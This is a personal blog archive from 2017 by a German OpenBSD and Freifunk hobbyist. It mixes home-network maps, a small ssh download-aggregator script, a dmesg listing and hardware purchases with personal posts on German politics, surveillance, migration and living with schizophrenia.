Rumours has it that the state-run TV and Radio stations are wanting to increase the GEZ tax. Now the question abounds to.. why do we even need more than one state run TV station? As the "official" voice of the state we don't need two! In german these state run behemoths are called "Oeffentlich-Rechtliche Sender". Germany, you're not giving choice, you're milking ordinary citizens dry with GEZ taxes! Let there be only 1 TV and 1 Radio station that is from the government. Because even if we switch channels the message coming from the government will always be the same. There is no difference! Let some die! And we welcome the digitalization of the state-run TV station and radio.



Goodbye Soekris! Pity to see you go!

May 11th, 2017

Soekris was a small i386/amd64 computer on a rackmountable or desktop small case. They were driven out of business by the competition in Asia and what I think was a business mistake. Their long awaited products never left the drawing board last. I would have bought it but they scrapped it.

This is my soekris at home but it uses more connections than the one you see. In fact I utilize 1 external NIC card fully with 1 connection on the second card.

Goodbye Soekris rest in peace! It was probably the last Made in the USA computer that I bought, pre-snowden. For all those other manufacturers that are waiting on business, we want 10-Gigabit ports! Without them we can't justify buying more equipment. I also want under 20 watts power consumption on top of that.



Purchased a 4TB external USB3 harddrive

May 18th, 2017

In fact I did this last week even on the 12th. The new drive is amazing. It can be written to at 70 MB/s, I find that extremely high. And that's only from copying from the internal drive on my computer "earth" (mac mini) to it, so it may just be limited to the read speed of earth's internal hd.

First I wanted to encrypt this drive but noticed that I had too many sectors in order to use softraid's crypt. I guess softraid by default is limited to 2TB unless you fiddle with the sector size which I did not want to do. So I left it unencrypted, on FFS2.

I already put some backups on this drive:

Filesystem     Size    Used   Avail Capacity  Mounted on
/dev/sd1a      3.6T    367G    3.3T    10%    /backup
Now you may wonder why i's 3.6 TB here and I said 4TB. Well WD sold this with the label "1 TB == 1 trillion bytes", so let's do some math.
$ dc
4 1000 * p
4000
1000 * p
4000000
1000 * p
4000000000
1000 * p
4000000000000
1024 / p
3906250000
1024 / p
3814697
1024 / p
3725
It comes very close to 3.6 in fact when I do the last step with a calculator I get 3.6376953. (dc doesn't give me decimal places in the way I'm using it). I'm overall pretty happy with this purchase. I've never had this much capacity before.



Purchased 2 WR-1043ND Routers for Freifunk

May 22nd, 2017

I purchased two more routers for Freifunk. I need these to accellerate my network at home a little. In other news I'm trying to give out a few WR-841 routers to stores near here in order to grow the Freifunk in my neighbourhood. We recently got a new router for Schweinfurt and the Freifunk Net is gonna rock!



Built an aggregator for big files

May 25th, 2017

I had the problem of getting 8 Mbps downloads across the Big Pond (tm) from my VPS psi.virgostar.net. So I constructed a little system with scripts and ssh to aggregate several locations together. Now I get ~30 Mbps.

As you can see this is how it works, each arrow is an ssh connection. BPI is the Big Pond Internet, the area where I cross the ocean. I checked I get routes from Tata, Telia and Cogent, so everything is nicely dispersed and they can't put 2 and 2 together and throttle all my hosts. At uranus I assemble the temporary files into 1 big md5 summed file. If the md5 sum is fine then it deletes the temp files. Below is the script from Uranus which does most the work of chopping up the workload for each host.

#!/bin/sh

if [ $# -ne 1 ] ; then
        exit 0
fi

RET=`ssh psi /home/pipe/pipe.sh $1 || echo NSF`

if [ x$RET == x"NSF" ] ; then
        echo no such file
        exit 1
fi

SIZE=`echo $RET | awk -F: '{print $2}'`
MDSUM=`echo $RET | awk -F: '{print $NF}'`

CHIP=`expr $SIZE / 4096`

date
echo getting 4 chunks of size $CHIP
TMP1=`mktemp 1.XXXXXXX`
TMP2=`mktemp 2.XXXXXXX`
TMP3=`mktemp 3.XXXXXXX`
TMP4=`mktemp 4.XXXXXXX`
BASENAME=`basename $1`

ssh omega /home/pipe/pipe.sh $1 0 $CHIP > $TMP1 &
OFFSET=$CHIP
ssh supercluster /home/pipe/pipe.sh $1 $OFFSET $CHIP > $TMP2 &
OFFSET=`expr $CHIP \* 2`
#OFFSET=`expr $OFFSET + 1`
ssh chi /home/pipe/pipe.sh $1 $OFFSET $CHIP > $TMP3 &
OFFSET=`expr $CHIP \* 3`
#OFFSET=`expr $OFFSET + 1`
ssh psi /home/pipe/pipe.sh $1 $OFFSET 0 > $TMP4

wait %1
wait %2
wait %3

cat $TMP1 $TMP2 $TMP3 $TMP4 > $BASENAME

SUM=`md5 $BASENAME | awk '{print $NF}'`
if [ $SUM != $MDSUM ] ; then
        echo sums do not match!
        exit 1
fi

echo file is $BASENAME
date
rm -f $TMP1 $TMP2 $TMP3 $TMP4

exit 0

There is intermediate scripts on omega, chi and supercluster and another big script on psi to make this all work. But I'm not gonna share it all here.



Played with my wacom a few days ago...

May 26th, 2017

Or... from a different perspective:

Go flipper go!



Launched first page of http://goldflipper.de

May 30th, 2017

I have launched the first page, more to follow on goldflipper.de. I think it looks great so far. Also check out the reload the colour border is randomly created.



Why I think America is greedy, under Trump's presidency

June 1st, 2017

I don't know why Donald Trump thinks America is getting the short end of the stick in trade. Let's look at some facts. America has a monopoly in data. You know..google, microsoft, apple, facebook, twitter, amazon, what have you, those are all american companies. There is not too much competition for these that I know other than perhaps baidu in China and vzkontakte in Russia. So while the rest of the world is locked-in to american data brokers, they are saying they are getting the bad deals. This is greedy! As you may know, data isn't profitable by itself. But massage it with analysis it is very valuable and it is powerful. The trick is to run powerful algorithms over it after it's being collected.

Now, the NSA has access to some of that data and they have their own data. But the NSA isn't for-profit per se. But they run some of the same algorithms that for example google might. It's in their interest and again they have a monopoly of this data in the world. You may remember the spy plane that was damaged in April 2001 as it was collecting data from cell phones in China. That is what's called aggressive data collection.

So while perhaps other areas in trade are lacking overall, the "data" cannot be overlooked. And that's why I think America is greedy.



Registered freifunk-schweinfurt.de

June 8th, 2017

I'm an avid Freifunker and Schweinfurt just got a hood, which means we have a few gateways (tunneling gateways) for our city and the immediate region. Anyone from the Schweinfurt Hood can get a hostname in this domain, just email me, or find me on IRC. The new domain forwards http to the Freifunk Franken Schweinfurt section. Yay!



Donation Time: OpenBSD gets 50 EUR

June 8th, 2017

I have donated 50 EUR to Theo de Raadt. OpenBSD is an operating system for all sorts of computers. Keep up the great work, OpenBSD!



Schizophrenia does not 'burden' society

June 8th, 2017

A friend sent me this article. I read the Objective in the abstract and stopped reading at the sentence "Given the immense cost to society"... What costs? I have schizophrenia and I work. I pay my own health insurance, rent and I take my meds. There is no costs on society. The sentence itself is self-justifying, in other words selfish. In fact I'll tell you right now I do not have any "voices from god" telling me to stab someone 3 doors down. That's not what my illness is about. In fact if I were such a danger to society then how come I can do everything anyone else can.

Except, it's harder to find work. Since my diagnosis of schizophrenia I held three jobs. Two of them I was fired from, the third I'm on right now, and I'm hoping to be working in the future at some other job. I spent 7 years on welfare and this was because I could not even convince anyone for a job interview.

Put yourself in my shoes, first everyone ignores you, and then they say you're a burden because you don't have work. Let's get rid of the stigmas, because we're very capable people, and not all of us hear voices. In fact I don't. Even without medication I do not hear voices, sorry to spoil your fanatical view of schizophrenics. The problem is people who freak out when they see someone they identify as a schizophrenic. And perhaps that's a burden to society.



This is the 1171st article of this blog

June 12th, 2017

I didn't realise I passed 1000 articles here. Even with 10 articles per month for the last 8 years I've surpassed 960 which is what I figured with 8 times 12 times 10. I'm very proud to be blogging still.

The keyword search engine is very valuable tool as well. I use it often to find things I wrote about. One day I'd like to change this to an advanced search where you can use AND, OR or boolean search. But that'll have to hold for now.

It's also worth noting that this blog does not use an SQL backend. I use plain files to store the content. I use a small script in UNIX to add content (articles), and the editor is vi. With all the injection attacks on SQL I felt that what I did was much safer, but granted it doesn't scale on large blogs with 10,000's of articles. For my operation this is still OK.



100 million migrants, due north

June 18th, 2017

A minister in Germany warned that due to the pollution that's output by the industrialized countries many African citizens may be forced to migrate north. The numbers are staggering, one hundred million people. I'd like to explore this scenario a little, at least in my thoughts that I'd like to share.

I believe we have a responsibility to global pollution, it has after all given us temporary wealth here in Europe. We're currently a changing people. Industrialization paved way to the information age, and perhaps physical borders don't matter so much anymore. However in the EU we have roughly 500 million people, an addition of 100 million Africans would change our society in many ways. One in six people would be black if I am allowed to imagine that far.

Also our GDP would temporarily fall as not all Africans are rich, and chances are the poorer ones would migrate first. Perhaps instead of "integrating" these new people we should melt with them by meeting them halfway, with a new language. Esperanto perhaps. All pupils would go to school learn Esperanto as their first language with their previous language taking a second spot. It solves many problems, to do it this way as noone has an advantage at least in languages. Now in knowledge we'd probably benefit as even "the stupid" carry clues. Together we'd be able to gain a lot of knowledge, while the Information Technology developed helps us overcome. I'm talking about artificial intelligence.

Then, we'd probably have to make plans to migrate ourselves as well. Destination arctic and antarctic circles. As a northern hemisphere race we may spread into a southern hemispheric race as people settle on antarctica. Antarctica has a landmass the size of the United States. Migrating north or south.. I have seen first hand how this could work, because I visited a school friend who lives just south of the arctic circle in Canada. There is no trees, yet anyhow. As temperatures on earth rise perhaps the treeline will spread further toward the poles though. My friends dwelling was built with wood. All things are really imported by giant ships during the summer season. This could work on a large scale for the European and African people who find themselves needing to move due to climate changes.

Europe is not Europe anymore, and Africa is not Africa. The global conditions have changed, this is a fact. Cultures disappear, get surpassed by new cultures. If you are against this cultural shift just look to history. We were never a culture for thousands of years, it was always dynamic, and we always had to adjust. It is important that we work together, not to make us poorer but to survive as a human species. And that's what I think and that's what I believe would be happening in the next 70-100 years which I will probably not see.



Solstice in 2 days

June 19th, 2017

Solstice is in 2 days, on wednesday at 6:24 AM CEST, or 4:24 UTC. Happy solstice!



Turned the fan on first time for 2017

June 19th, 2017

I got the fan out. It's 50 watts which is hopefully gained back by the countless of solar panels we have in Germany. We should have a surplus in "green" energy today as there is no cloud in the sky and wind is blowing.



I'm against governments hacking our devices

June 22th, 2017

Hacking (cracking) is illegal. Everywhere in the world. Yet governments want to bend the rules and hack our devices. This is not just two-faced, it also goes against our human rights. The PDA or even a smartphone is an extension of the body and mind. We carry these devices because we want to know the time, date, location, translate language and have a pointer where we saw something to make a point to someone else. It allows us better expression. It is an extension of our body and mind and should fall within privacy laws for individuals.

If countries hack devices where will it end? Would privacy erode and we'd be subject to carrying implanted chips? Why all this madness? Why is there so much mistrust? 99.81 percent of us are good-willed beings and we don't do what our governments don't want us to do (adhering to the laws). So why should our security be compromised because of a measly 0.19 percent? It should not be analysed whether we are in fact adhering the laws, it should be analysed why others want power over our most private parts. I smell corruption.



My new xlock with suspend

June 23th, 2017

Now that the german government can install trojans on our computers I have decided to wrap zzz with xlock so that when I put the computer to sleep, it will also lock the computer.

beta$ more bin/zzz
#!/bin/sh

xlock &
sleep 2
/usr/sbin/zzz
exit 0
That's how the /home/pjp/bin/zzz script looks like. Thanks to abyxcos on IRC for the discussion.



300,000 victims

June 25th, 2017

What is happening in Yemen is a shame. I'm set against the reasons why there needs to be war against the Yemeni people. The people are victims of a brutal onslaught by Saudi Arabia who want power of the entire arabian peninsula. The cholera in Yemen could have been prevented had there been peace. I have images of Yemen in my mind before the war, which I saw on television, Yemen was doing well before.



Changes with DelphinusDNS

June 27th, 2017

Yesterday I completed the a change in delphinusdnsd that takes out BerkeleyDB and replaces it with tree(3) macros as provided in BSD and libbsd. The code to that I committed yesterday in delphinusdnsd-current.

To fully test this I have registered delphinusdns.org. I have 6 months on this, and I have made my vps's chi and psi the authoritative nameservers for this. Hopefully I'll find more time to program on this good dns daemon before next year.



Donated $10 USD to FreeBSD Foundation

June 27th, 2017

After positive help from some FreeBSD'ers on IRC, I have decided to donate $10 to FreeBSD. Thanks for helping me make my software work on FreeBSD!



The endless fight around Freifunk

June 29th, 2017

Here in Germany we're suffocating on laws. If there is a law on how to breathe I wouldn't be surprised. Freifunk which I mentioned in the Subject is an initiative by citizens to provide a network free of cost to anyone. Most of the time we also provide Internet access. It's a good service paid for by the enthusiasts. Only, we're having a hard time growing because everyone is worried about liabilities, yes you got it, they aren't sure about the laws and would rather not have it. It's frustrating because approaching municipal governments and city halls is so much harder. They are so bureaucratic, and in my case I just got a nay to erect a repeater at a "citizens meet" which is a place for the people! And I got this nay not because the laws say I can't but because we're uncertain of the laws.

Now to tell you a little story Feifunk is a great thing. People can use it when their own Internet doesn't work and we all know everything is tied to the Internet these days. If you have no access to the Internet ever you lose out. You may even lose your job if it's Internet based. Freifunk provides a new gateway at no cost of limitation to use. You can even use a VPN through Freifunk that's encrypted noone cares. But it makes you feel safer, if you do that, so it's good. I often get the feeling people think that we're out to rip people off which is not the case. We want to blanket Germany with wifi and run an alternative to what "the others" are selling, and give it away for free.

I'm majorly peed off that these laws are creating uncertainty and fear, when it's perfectly legal. I want to provide some links for you:

  • Freifunk statt Angst
  • Freifunk.net
  • Freifunk.net in English
  • You are probably reading this from another country and probably don't know what "fuss" is. Fuss is when you have to beg with society over and over to bring about something that everyone needs. You probably never heard of this and if you didn't then you're most likely free'er than us. We need freedoms!



    Das Internet darf kein rechtsfreier Raum sein

    June 30th, 2017

    "The Internet shall not be a lawless space" is the translation of that. This statement made by german politicians over and over, has a double meaning and can be interpreted in many ways. Let's look at who are the true masters of the Internet. It's nerds. It's programmers who spend countless hours programming to make some protocol work. And not just that but these programmers return to their own work to make a Request For Comment or other documentation for others to implement their ideas.

    Into the picture comes the politician and the lawyer, and the soldier and the cop. These guys historically held power in societies and find themselves in a power-vacuum on the "Internet". In fact these people don't know very much other than pulling a trigger or confusing the general public with extravagant words that usually have double meanings and are easily confused. They for the lawyer and politician part are tricksters. Now these people want control of "EVERYTHING" including the 'net. But they are lazy to learn for themselves, something that the common nerd is good at, so they make laws to inhibit the nerds. This is what it's all about. It's a trick. To spoil something that nerds worked hard at.

    My message to the tricksters. You're trying to unseat gods who created everything. Do you think you can maintain everything once you have unseated the gods? You don't know, but you're doing it. And if it fails we'll just go back to the times when there was no Internet. You'll outlaw it, isn't that the ultimate revenge for your own ignorance of not understanding something that is way more important than you'll ever be? It's happened everywhere and it'll continue to happen. Censorship and suppression.

    I don't need to study law to be a great programmer. You want to put me inside a box and say "you can't do that, you can't do this" by applying synthetic laws on a programmer. Programmers don't work that way, when they feel inhibited they lose interest real quick and go on to the next thing that may give them more playing field. We're not in-the-box type people. We may start off in the box, but eventually when we master something we can eliminate these thresholds easily.

    What we really need is freedom. And it has dawned on all the powerholders that if they take away your freedom with law, they can control you. But they are working off a set of programs that some geek designed for them who they then canned. So their protocols are outdated, and won't work in new domains. If you put law to technology, we lose the race against nature. You'll royally screw yourself if you do that. So to sum up.. the politicians and lawyers want laws so they stay in power, at the same time the cops and soldiers want to be above the law to stay in power, and the nerds are just feeling the pressure and rolling their eyes in disgust.



    Who I'm voting for in 2017

    July 3rd, 2017

    Germany has an election this year. Democracy at it's finest. I'm voting for "Die Linke" and I'll tell you why. The CDU/CSU has no pledges, meaning you can vote for them but you don't know what you're voting for. Also under Merkel that party has seen to the rich getting richer and the poor losing money. The other party, the SPD, is not extreme enough for me. They are somewhat on the right track, but since they are in a coalition government with the CDU/CSU this term we haven't really benefited from them. Then there is the green party. These guys have become switch hitters with the so-called jamaica coalition. It's called jamaica coalition because of the party colours black, yellow and green, which is a coalition between CDU, FDP and greens respectively. I do like them, but not enough. The other parties in my view are not worth mentioning.

    What draws me to "Die Linke"? It's not so much the personalities of the politicians but rather their mandate. They are for radical changes in minimum wage for example. Meaning the poor would be getting more. And then they also want to tax the rich heavier, which means the money that the poor get would be coming from the rich. Also I want to keep the option open for a Red-Red-Green coalition. With my vote I'm putting pressure on the SPD to accept a coalition with "Die Linke" if they want to rule, if they don't want to rule no loss.

    Unfortunately I'm part of the reason that the rich get richer. Because I've been working for underpaid wages for the last 7 years while my ex-boss got rich by selling his investment to a larger company. This is exactly how the rich get richer, they do start-up's and pretend there is no money, then they sell for millions and you won't hear from them for a decade or so. I'm actually not getting much of a pension (perhaps 50 EUR a month) which means I'll be in poverty at old age, which means now is the time to work toward the sane goal of a basic income, which makes sense becuase all the money that the rich have made is re-invested into robotics to keep human labour low, and they get even richer. I'm very sorry to know this.



    My new Network Map 2017

    July 4th, 2017

    Yesterday I was laying new cabling and pulled out some old cabling, this is what my network looks like now:

    Network map (2017-07-04):		 +---------+
    					/          | <- (Freifunk VXLAN)
    [gaia]--             [freifunk wr-1043]/     	   |
              \               |     |     /         [mercury]
    [phone1] - \              |     |    /             |
                ---	[uranus] === [Access Point] --- [gamma] ---- to pppoe cloud
    [phone2] - /	          |     |  /
              /	          |	| /
    [beta]--	(BATMAN)->|	|/
    			  +--[venus]-+--[spica]
    				 |   |
    				 |   +--[fritzbox LTE]------- to LTE network
    				 |   |
    				 |   +--[Telekom IPTV]
    [Freifunk wr-841v10 2.4GHz]	 |   |
    [Freifunk wr-841v10 2.4GHz]	 |   |
    				 |   +--[Samsung TV]
    				 |   |
    				 |   +--[saturn]
    				 |
    				 |
    				 |<-(freifunk B.A.T.M.A.N.)
    				 |
    				 |
    			     [freifunk wr-841v8]
    
    Legend:				Hosts:
    
    --- CAT5 cabling		gaia + spica: apple computers running vmware
    === wifi 5 Ghz			uranus: OpenBSD i386 hinter Fritz!Repeater
    |   CAT5 cabling		venus: OpenBSD amd64 on Soekris hw
    				gamma: OpenBSD amd64 on PC Engines APU
    				fritzbox: AVM fritzbox router
    				mercury + beta: OpenBSD + FreeBSD hosts
    
    End of Network map.
    
    If you like ASCII this is for you.



    Wrote a donation for F3 Netze e.V.

    July 4th, 2017

    I wrote a donation for F3 Netze for 25 EUR. On Friday I'm bringing the transfer to the bank. Unfortunately F3 Netze hasn't opened a Paypal account yet, but I was going to the bank anyhow.

    I also pledged 44 EUR to someone else in the Freifunk Organization for a yearly discount on a server. He has to check his finances first though. Slowly the freifunk hobby is starting to cost money, which is great, but I have to watch it not to spend too much on this hobby. I'm gonna write up a budget soon.

    If anyone of freifunk-schweinfurt is reading this, I have also pledged money to you so make means available that I can help you (paypal, bank account #'s, etc).



    Nuclear Powerstations should not be on the Net

    July 8th, 2017

    I'm gonna say it again. Get off the 'net, you have no business there and it's too risky. Same goes for nuclear bombs. They should not be on the Internet. You don't even have to think this through... hackers are everywhere, nothing is safe.



    Google, Apple and co, how does that work?

    July 9th, 2017

    As you know these two named companies habe been backtaxed by the EU with a lot of money for evading taxes. Apple itself has 200+ billion in cash and wouldn't really need to care if they have to pay 13 billion EUR in backtaxes. However these companies will continue their tricks and the EU will continue to say that they broke laws. So what to do? What's gonna happen? For one the EU has no real competitor against these companies that offer similar products and services. And if the EU tax tolls become too heavy Google and Apple may decide not to pay up. What will happen then?

    Let's look to times when Google had problems with China. What they did was move to Hong Kong and out of China and made use of the dual law system in Hong Kong. Could they do the same here in europe? What if they made use of Brexit and invested heavily into Britain and made european users use the british installation. At that point they would be out of jurisdiction from EU governments and if they cozy up to the British government it could be worthwhile.

    I think it would be worthwhile for the EU to build its own google-like system much like airbus was made in response to boeing for airplanes and space systems. Just how is it gonna be flourishing with all these laws? Time will tell.



    Purchased two books from Amazon

    July 9th, 2017

    I have purchased two books:

    1. The Linux Programming Interface: A Linux and UNIX System Programming Handbook - Michael Kerrisk, this one was on recommendation by Habbie in #dns
    2. Ansible: From Beginner to Pro - Michael Heap
    Thank to all who helped!



    When you're at a crossroad

    July 10th, 2017

    Then take a picture.



    Food for the human people!

    July 10th, 2017

    MMMMMMH!



    On Friday the UNIX timestamp turns 1500000000

    July 10th, 2017

    Here is the exact time and some significant others.

    beta$ date -r 1500000000
    Fri Jul 14 04:40:00 CEST 2017
    beta$ date -r 1400000000
    Tue May 13 18:53:20 CEST 2014
    beta$ date -r 1000000000 
    Sun Sep  9 03:46:40 CEST 2001
    
    Here are some others in the future:
    beta$ date -r 2000000000
    Wed May 18 05:33:20 CEST 2033
    beta$ date -r 1600000000
    Sun Sep 13 14:26:40 CEST 2020
    
    For those that don't know the timestamp is seconds since January 1st 1970.



    Delphinusdnsd is pledged

    July 11th, 2017

    I just put the code in. I had to disable the TTL code that shows how many hops a requester went through for the query to my daemon. This is because pledge doesn't know about pledging IPPROTO_IP setsockopts yet, it seems. All is good the new code is in production on chi.goldflipper.de for the zone delphinusdns.org. Yay!



    New surveillance powers in the Netherlands

    July 12th, 2017

    This webserver is located in the Netherlands. A new bill gives the dutch security services rights to spy on every traffic. Since I'm currently not encrypting my webserver this means little privacy for my readers. However the powers won't be in effect until Jan. 1st, 2018, so there is some time to prepare. In the worst case scenario I'll just leave this VPS. Sorry.



    Hamburg G20

    July 13th, 2017

    It is the federal government who invited the G20 to Hamburg. Hamburg is a host to conferences but the damage done was envisionable pre-conference. So it should be the federal government who pays up for damages done. A lot of looting, shooting and burning happened there, but I don't blame Hamburg I blame the federal government.



    Putting the car on ice

    July 16th, 2017

    I'm getting second thoughts about getting a car in August. I'll hold off for now while I'm not sure what to do. Partially I'm scared of driving again.



    America, you're more than great...

    July 17th, 2017

    When I grew up, I immersed myself around American culture. Hip-Hop. It was the thing and as a youth living in Canada it was thrilling. However I'm a little stunned why America is seemingly falling. Is it that entertainment has corrupted the driving force behind Americas momentum? I personally had a second chance in life, not many people have that, but it is maybe worth exploring the "be all you can be" and I don't mean joining the army but striving for personal best.

    You don't have to be rich, you don't have to be the smartest, but when you're trying to stay away from intoxicants, trying for realisable goals then trying is worth the effort. Eventually people have to figure out that doing X is not going to raise them, it may be a wrong way to seek personal freedom. Wow, now that I started this article I realise how hard it is to write. I'm not going to tell you to seek god, or stay away from drugs. You know the answer deep down in your heart anyhow. But seek yourself.

    I could tell you all the things that are wrong with American society, but what can I tell you about what's great? There is a lot. Hip Hop music is great, but you had to find the great moments. Hip Hop often prepared people not to be sarcastic on their surroundings but to cope with difficult times. Seek your strength, you have it. I can't tell you any hip hop artists to listen to, I personally get a lot of strength from 2pac remakes these days, but I'm going to leave you with one of my favourite statements that I want to pass to people looking for a way... "You gotta go in, to get out".

    I guess what that means is seek your soul, and once you've found it escape the situation that's making you uncomfortable. It's within you, and not to be found in the stars. Once you know yourself the stars aren't so distant, you know.



    Brainstorm why aliens haven't been found yet

    July 18th, 2017

    1. As the number one reason I think aliens haven't been found yet is because they are in the process of conquest and don't go looking for us until they are ready to take us in.
    2. We're not really a wise species, we're quick to draw conclusions, we are conflict species, we like war and destruction.. all the reason to stay away from us
    3. Either aliens are superior to us, at which point they grant us freedom, or they are inferior to us at which point they are in hiding from us.
    4. Perhaps radio signals is not the right way to communicate, it bears dangers

    Then there may also be a reason that we don't need aliens in our leaders views. We're so corrupt in our own resources that we don't want others to come along. This is a human trait. Maybe it's more about us than it is about them.



    Provided a patch to OpenBSD ifconfig(8)

    July 19th, 2017

    After a lot of monkeying around on my router venus which had its pflow interface crippled by the config, I produced this patch:

    basically we're not trying to resolve the flowsrc or flowdst, so I added a flag to the resolver to treat this as a raw IP or IPv6.



    Difficulties in recruiting ICT specialists reported in the EU

    July 19th, 2017

    In this document eurostat shows that 41% of enterprises reported vacancies. Those positions can be filled, if these enterprises made in-roads and changed their systems, is my idea on this. Ie. a business traditionally hiring Windows specialists should know that there is a large Linux following that exists and if they changed their systems to incorporate Linux programs they would have better chances at filling the vacancy. This is just my observation. Here in Schweinfurt there is 100 jobs vacant. It's always been 100 jobs, for as long as I looked. Half of those are probably fake-jobs, the other half are often specialised jobs around Windows. I know my own frustration at finding the right job there. Recently I applied to a Linux job. I'm keeping my fingers crossed.



    Purchased a used Ubiquiti Edgerouter

    July 22th, 2017

    I purchased a used Edgerouter from someone on IRC. Before I made the deal I asked on the openbsd-misc mailing list and it seems I got people on a good day:

    The Edgerouter ER-8 is supported, thank goodness. Apparently the ER-8 costs 289 EUR new and I got it for 180 EUR. Hopefully it's in good condition.



    Newly planned network at home

    July 23th, 2017

    With zeta my new OpenBSD firewall that I'll probably get by wednesday I have simplified my network a little. From the start zeta will use 7 ports which is amazing. Here is what area52 which is what I call my apartment will look like:

    Network map (2017-07-23):
    
    [gaia]--                                    Fritzbox LTE (to LTE network)
              \                                       |
    [phone1] - \                                      |
                --- [uranus] === [Access Point] --- [zeta] ---- to pppoe cloud
    [phone2] - /                                      |
              /                                       +---[mercury]
    [beta]--                                          |
                                                      +---[AREA52U WR-1043v4]
                                                      |
                                                      +---[AREA52U B.A.T.M.A.N.]
                                                      |
                              saturn --------------[venus]----[spica]
                                                      |
                                                      +--[Apple TV]
    [Freifunk wr-841v10 2.4GHz]                       |
    [Freifunk wr-841v10 2.4GHz]                       |
                                                      +--[Samsung TV]
                                                      |
                                                      +--[saturn]
                                                      |
                                               [freifunk wr-841v8]
    
    Legend:                         Hosts:
    
    --- CAT5 cabling                spica: apple computers running vmware
    === wifi 5 Ghz                  uranus: OpenBSD i386 behind Fritz!Repeater
    |   CAT5 cabling                venus: OpenBSD amd64 on Soekris hw
                                    zeta: OpenBSD octeon ER-8 firewall
                                    fritzbox: AVM fritzbox router
                                    earth, mercury + beta: OpenBSD hosts
    
    End of Network map.
    
    I'm doing a lot more cabling and vlan'ing instead of vxlan'ing which is routed. With that I'm hoping to gain back stability and robustness.



    Puzzled by the Ross 128 story

    July 23th, 2017

    In this article at soylentnews the scientists at arecibo are blaming geostationary satellites for the Ross 128 signals. However I'm puzzled by this. For one the dish at Arecibo is not very movable, in fact its 100% immovable and the science done on it is pretty much outbound 90 degrees from the flat earth. Sure they can perhaps move the receiver by 5% or so... This means that the geostationary satellites are always in view of the arecibo dish, and if that's the case they surely must have detected the geostationary satellites earlier. Why is this even news then? I think something fishy may be going on. It smells like a cover-up.



    Dmesg from zeta.centroid.eu

    July 27th, 2017

    Zeta is my new firewall/router at home. It's slower than the APU1 that I had in its place before but it gave a lot more ports (+5) so I'M very happy about that. Also it's a MIPS64 which should keep the footprint of crackers lower that would be able to break into this host which is a plus.

    Copyright (c) 1982, 1986, 1989, 1991, 1993
    	The Regents of the University of California.  All rights reserved.
    Copyright (c) 1995-2017 OpenBSD. All rights reserved.  https://www.OpenBSD.org
    
    OpenBSD 6.1-current (GENERIC.MP) #0: Sat Jul 22 21:28:07 UTC 2017
        visa@octeon:/usr/src/sys/arch/octeon/compile/GENERIC.MP
    real mem = 2147483648 (2048MB)
    avail mem = 2113355776 (2015MB)
    mainbus0 at root
    cpu0 at mainbus0: CN61xx CPU rev 0.1 800 MHz, Software FP emulation
    cpu0: cache L1-I 512KB D 8KB 64 way, L2 1024KB 8 way
    cpu1 at mainbus0: CN61xx CPU rev 0.1 800 MHz, Software FP emulation
    cpu1: cache L1-I 512KB D 8KB 64 way, L2 1024KB 8 way
    clock0 at mainbus0: int 5
    iobus0 at mainbus0
    simplebus0 at iobus0: "soc"
    octciu0 at simplebus0
    cn30xxsmi0 at simplebus0
    cn30xxsmi1 at simplebus0
    com0 at simplebus0: ns16550a, 64 byte fifo
    com0: console
    com1 at simplebus0: ns16550a, 64 byte fifo
    octmmc0 at simplebus0
    sdmmc0 at octmmc0: 8-bit, mmc high-speed
    octuctl0 at iobus0 base 0x118006f000000 irq 56
    ehci0 at octuctl0
    usb0 at ehci0: USB revision 2.0
    uhub0 at usb0 configuration 1 interface 0 "Octeon EHCI root hub" rev 2.00/1.00 addr 1
    ohci0 at octuctl0, version 1.0
    usb1 at ohci0: USB revision 1.0
    uhub1 at usb1 configuration 1 interface 0 "Octeon OHCI root hub" rev 1.00/1.00 addr 1
    octrng0 at iobus0 base 0x1400000000000 irq 0
    cn30xxgmx0 at iobus0 base 0x1180008000000
    cnmac0 at cn30xxgmx0: SGMII, address 24:a4:3c:06:9f:12
    ukphy0 at cnmac0 phy 4: Generic IEEE 802.3u media interface, rev. 3: OUI 0x180361, model 0x0004
    cnmac1 at cn30xxgmx0: SGMII, address 24:a4:3c:06:9f:13
    ukphy1 at cnmac1 phy 5: Generic IEEE 802.3u media interface, rev. 3: OUI 0x180361, model 0x0004
    cnmac2 at cn30xxgmx0: SGMII, address 24:a4:3c:06:9f:14
    ukphy2 at cnmac2 phy 6: Generic IEEE 802.3u media interface, rev. 3: OUI 0x180361, model 0x0004
    cnmac3 at cn30xxgmx0: SGMII, address 24:a4:3c:06:9f:15
    ukphy3 at cnmac3 phy 7: Generic IEEE 802.3u media interface, rev. 3: OUI 0x180361, model 0x0004
    cn30xxgmx1 at iobus0 base 0x1180010000000
    cnmac4 at cn30xxgmx1: SGMII, address 24:a4:3c:06:9f:16
    ukphy4 at cnmac4 phy 0: Generic IEEE 802.3u media interface, rev. 3: OUI 0x180361, model 0x0004
    cnmac5 at cn30xxgmx1: SGMII, address 24:a4:3c:06:9f:17
    ukphy5 at cnmac5 phy 1: Generic IEEE 802.3u media interface, rev. 3: OUI 0x180361, model 0x0004
    cnmac6 at cn30xxgmx1: SGMII, address 24:a4:3c:06:9f:18
    ukphy6 at cnmac6 phy 2: Generic IEEE 802.3u media interface, rev. 3: OUI 0x180361, model 0x0004
    cnmac7 at cn30xxgmx1: SGMII, address 24:a4:3c:06:9f:19
    ukphy7 at cnmac7 phy 3: Generic IEEE 802.3u media interface, rev. 3: OUI 0x180361, model 0x0004
    /dev/ksyms: Symbol table not valid.
    umass0 at uhub0 port 1 configuration 1 interface 0 "SanDisk Ultra USB 3.0" rev 2.10/1.00 addr 2
    umass0: using SCSI over Bulk-Only
    scsibus0 at umass0: 2 targets, initiator 0
    sd0 at scsibus0 targ 1 lun 0:  SCSI4 0/direct removable \
    serial.07815591241023103380
    sd0: 118464MB, 512 bytes/sector, 242614272 sectors
    scsibus1 at sdmmc0: 2 targets, initiator 0
    sd1 at scsibus1 targ 1 lun 0:  SCSI2 0/direct removable
    sd1: 3776MB, 512 bytes/sector, 7733248 sectors
    vscsi0 at root
    scsibus2 at vscsi0: 256 targets
    softraid0 at root
    scsibus3 at softraid0: 256 targets
    boot device: sd0
    root on sd0a (08e1253cf19e0676.a) swap on sd0b dump on sd0b
    WARNING: No TOD clock, believing file system.
    WARNING: CHECK AND RESET THE DATE!
    cpu1 launched
    
    I have given it a 128 GB USB stick as its disk even though the internal flash card is detected as sd1. The people involved in this architecture are super! They really should be congratulated to make this architecture happen. I did have some problems with threaded programs on this firewall but I moved those to my amd64 router venus (the program was BIND 9.10.5)... Here is the listing of ports, I have utilized all eight:
    cnmac0: flags=8843 mtu 1500
            lladdr 24:a4:3c:06:9f:12
            description: eth4 - FritzBox LTE
